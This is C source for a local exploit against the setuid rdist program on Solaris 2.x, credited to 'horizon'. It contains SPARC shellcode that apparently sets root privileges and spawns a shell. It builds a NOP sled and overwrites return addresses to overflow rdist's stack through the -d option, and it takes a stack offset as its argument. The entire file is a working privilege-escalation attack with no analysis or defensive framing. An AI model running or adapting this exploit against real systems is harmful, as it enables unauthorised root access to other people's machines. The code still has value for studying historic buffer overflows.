/* rdist solaris 2.* sploit */
/* by horizon. thanks to ktwo */
/* argv[1] is your offset */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH 1024 
#define SAFETY 40 /* blind guess */
#define EXTRA 400
#define STACK_OFFSET 2360
#define SAFETY_OFFSET 248
#define SPARC_NOP 0xac15a16e

u_char sparc_shellcode[] =
"\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08";

int addr_ok(long a)
{
        if (((a>>24)&255)==0) return 0;
        if (((a>>16)&255)==0) return 0;
        if (((a>>8)&255)==0) return 0;
        if (((a)&255)==0) return 0;
        return 1;
}

u_long get_safe_addr(long sp)
{
   return sp-SAFETY_OFFSET;
}

u_long get_sp(void)
{
   __asm__("mov %sp,%i0 \n");
}

int main(int argc, char *argv[])
{
   char buf[BUF_LENGTH + EXTRA + 8];
   char tempbuf[BUF_LENGTH + EXTRA + 8+6];

   long stack,targ_addr,safe_addr;

   u_long *long_p;
   u_char *char_p;
   int i, code_length = strlen(sparc_shellcode),dso=0;

   if(argc > 1) dso=atoi(argv[1]);

   stack=get_sp();

   safe_addr=get_safe_addr(stack);
   while(addr_ok(safe_addr)==0) safe_addr+=8;

   targ_addr = stack + STACK_OFFSET - dso;
   while(addr_ok(targ_addr)==0) targ_addr+=8;

   long_p =(u_long *) buf ;
   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
      *long_p++ = SPARC_NOP;

   char_p = (u_char *) long_p;

   for (i = 0; i < code_length; i++)
      *char_p++ = sparc_shellcode[i];

   *char_p++=' ';
   *char_p++=' ';
        
   for (i = 0; i < SAFETY /4; i++)
   {
      *char_p++ =(safe_addr>>24)&255;
      *char_p++ =(safe_addr>>16)&255;
      *char_p++ =(safe_addr>>8)&255;
      *char_p++ =(safe_addr)&255;
    }

   for (i = 0; i < (EXTRA-SAFETY) /4; i++)
   {
      *char_p++ =(targ_addr>>24)&255;
      *char_p++ =(targ_addr>>16)&255;
      *char_p++ =(targ_addr>>8)&255;
      *char_p++ =(targ_addr)&255;
   }

   *char_p++=0;

   sprintf(tempbuf,"bleh=%s",&buf[2]);

   printf("Stack address: 0x%lx. Safe address: 0x%lx (delta %d).\n",
      stack,safe_addr,stack-safe_addr);
   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
      targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
   execl("/bin/rdist","rdist","-d",tempbuf,"-c","/tmp/","${bleh}",(char *) 0);
   perror("execl failed");
}